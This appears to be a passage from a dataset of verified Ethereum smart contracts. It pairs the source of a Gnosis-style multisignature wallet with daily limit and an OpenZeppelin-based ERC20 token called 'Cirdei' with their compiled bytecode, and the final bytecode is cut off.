modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint256 value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint256 value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
return dailyLimit - spentToday;
}
}
|
0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b1461035a578063a8abe69a146103c0578063b5dc40c3146103e3578063b77bf600146103f9578063ba51a6df1461040c578063c01a8c8414610422578063c642747414610438578063d74f8edd1461049d578063dc8452cd146104b0578063e20056e6146104c3578063ee22610b146104e8575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104fe565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610526565b34156101c157600080fd5b6101636004356106bb565b34156101d757600080fd5b6101eb600160a060020a0360043516610799565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a03602435166107ae565b341561022c57600080fd5b61023e600435151560243515156107ce565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a036004351661083a565b341561027a57600080fd5b6101eb60043561096e565b341561029057600080fd5b61023e6004356109f2565b34156102a657600080fd5b6102b1600435610a61565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b50509550505050505060405180910390f35b341561036557600080fd5b61036d610a95565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ac578082015183820152602001610394565b505050509050019250505060405180910390f35b34156103cb57600080fd5b61036d60043560243560443515156064351515610afe565b34156103ee57600080fd5b61036d600435610c26565b341561040457600080fd5b61023e610d8a565b341561041757600080fd5b610163600435610d90565b341561042d57600080fd5b610163600435610e1b565b341561044357600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f0995505050505050565b34156104a857600080fd5b61023e610f28565b34156104bb57600080fd5b61023e610f2d565b34156104ce57600080fd5b610163600160a060020a0360043581169060243516610f33565b34156104f357600080fd5b6101636004356110e1565b600380548290811061050c57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561054857600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057157600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105bb57fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105e857fe5b60009182526020909120015460038054600160a060020a03909216918490811061060e57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610654565b600190910190610594565b600380546000190190610667908261133a565b5060035460045411156106805760035461068090610d90565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106e357600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561071857600080fd5b600084815260208190526040902060030154849060ff161561073957600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610833578380156107fb575060008181526020819052604090206003015460ff16155b8061081f575082801561081f575060008181526020819052604090206003015460ff165b1561082b576001820191505b6001016107d2565b5092915050565b30600160a060020a031633600160a060020a031614151561085a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561088257600080fd5b81600160a060020a038116151561089857600080fd5b60038054905060010160045460328211806108b257508181115b806108bb575080155b806108c4575081155b156108ce57600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610906838261133a565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109eb576000848152600160205260408120600380549192918490811061099c57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109d0576001820191505b6004548214156109e357600192506109eb565b600101610973565b5050919050565b6000805b600354811015610a5b5760008381526001602052604081206003805491929184908110610a1f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a53576001820191505b6001016109f6565b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610a9d61135e565b6003805480602002602001604051908101604052809291908181526020018280548015610af357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610ad5575b505050505090505b90565b610b0661135e565b610b0e61135e565b600080600554604051805910610b215750595b9080825280602002602001820160405250925060009150600090505b600554811015610bb657858015610b66575060008181526020819052604090206003015460ff16155b80610b8a5750848015610b8a575060008181526020819052604090206003015460ff165b15610bae5780838381518110610b9c57fe5b60209081029091010152600191909101905b600101610b3d565b878703604051805910610bc65750595b908082528060200260200182016040525093508790505b86811015610c1b57828181518110610bf157fe5b906020019060200201518489830381518110610c0957fe5b60209081029091010152600101610bdd565b505050949350505050565b610c2e61135e565b610c3661135e565b6003546000908190604051805910610c4b5750595b9080825280602002602001820160405250925060009150600090505b600354811015610d135760008581526001602052604081206003805491929184908110610c9057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d0b576003805482908110610ccb57fe5b600091825260209091200154600160a060020a0316838381518110610cec57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610c67565b81604051805910610d215750595b90808252806020026020018201604052509350600090505b81811015610d8257828181518110610d4d57fe5b90602001906020020151848281518110610d6357fe5b600160a060020a03909216602092830290910190910152600101610d39565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610db057600080fd5b600354816032821180610dc257508181115b80610dcb575080155b80610dd4575081155b15610dde57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610e4357600080fd5b6000828152602081905260409020548290600160a060020a03161515610e6857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610e9c57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610f02856110e1565b5050505050565b6000610f1684848461123d565b9050610f2181610e1b565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610f5557600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610f7e57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fa657600080fd5b600092505b60035483101561103f5784600160a060020a0316600384815481101515610fce57fe5b600091825260209091200154600160a060020a031614156110345783600384815481101515610ff957fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905561103f565b600190920191610fab565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600081815260208190526040812060030154829060ff161561110257600080fd5b61110b8361096e565b15611238576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156111ad5780601f10611182576101008083540402835291602001916111ad565b820191906000526020600020905b81548152906001019060200180831161119057829003601f168201915b505091505060006040518083038185876187965a03f192505050156111fe57827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611238565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b505050565b600083600160a060020a038116151561125557600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516112e0929160200190611370565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611238576000838152602090206112389181019083016113ee565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113b157805160ff19168380011785556113de565b828001600101855582156113de579182015b828111156113de5782518255916020019190600101906113c3565b506113ea9291506113ee565b5090565b610afb91905b808211156113ea57600081556001016113f45600a165627a7a72305820d3caceeda1714b3c5a281031b3c2a329d669d2f3c0c893048b8a6aafb4a452120029
|
{"success": true, "error": null, "results": {}}
| 9,497 |
0xf5681d936e581f5f998ca970a474c6e83dd038dc
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Cirdei is ERC20 {
constructor(uint256 initialSupply) ERC20 ("Cirdei", "CIRD"){
_mint(msg.sender,initialSupply);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610d29565b60405180910390f35b6100e660048036038101906100e19190610b73565b610308565b6040516100f39190610d0e565b60405180910390f35b61010461032b565b6040516101119190610e2b565b60405180910390f35b610134600480360381019061012f9190610b20565b610335565b6040516101419190610d0e565b60405180910390f35b610152610364565b60405161015f9190610e46565b60405180910390f35b610182600480360381019061017d9190610b73565b61036d565b60405161018f9190610d0e565b60405180910390f35b6101b260048036038101906101ad9190610ab3565b6103a4565b6040516101bf9190610e2b565b60405180910390f35b6101d06103ec565b6040516101dd9190610d29565b60405180910390f35b61020060048036038101906101fb9190610b73565b61047e565b60405161020d9190610d0e565b60405180910390f35b610230600480360381019061022b9190610b73565b6104f5565b60405161023d9190610d0e565b60405180910390f35b610260600480360381019061025b9190610ae0565b610518565b60405161026d9190610e2b565b60405180910390f35b60606003805461028590610f5b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610f5b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b60008061031361059f565b90506103208185856105a7565b600191505092915050565b6000600254905090565b60008061034061059f565b905061034d858285610772565b6103588585856107fe565b60019150509392505050565b60006012905090565b60008061037861059f565b905061039981858561038a8589610518565b6103949190610e7d565b6105a7565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546103fb90610f5b565b80601f016020809104026020016040519081016040528092919081815260200182805461042790610f5b565b80156104745780601f1061044957610100808354040283529160200191610474565b820191906000526020600020905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b60008061048961059f565b905060006104978286610518565b9050838110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d390610e0b565b60405180910390fd5b6104e982868684036105a7565b60019250505092915050565b60008061050061059f565b905061050d8185856107fe565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060e90610deb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90610d6b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffffff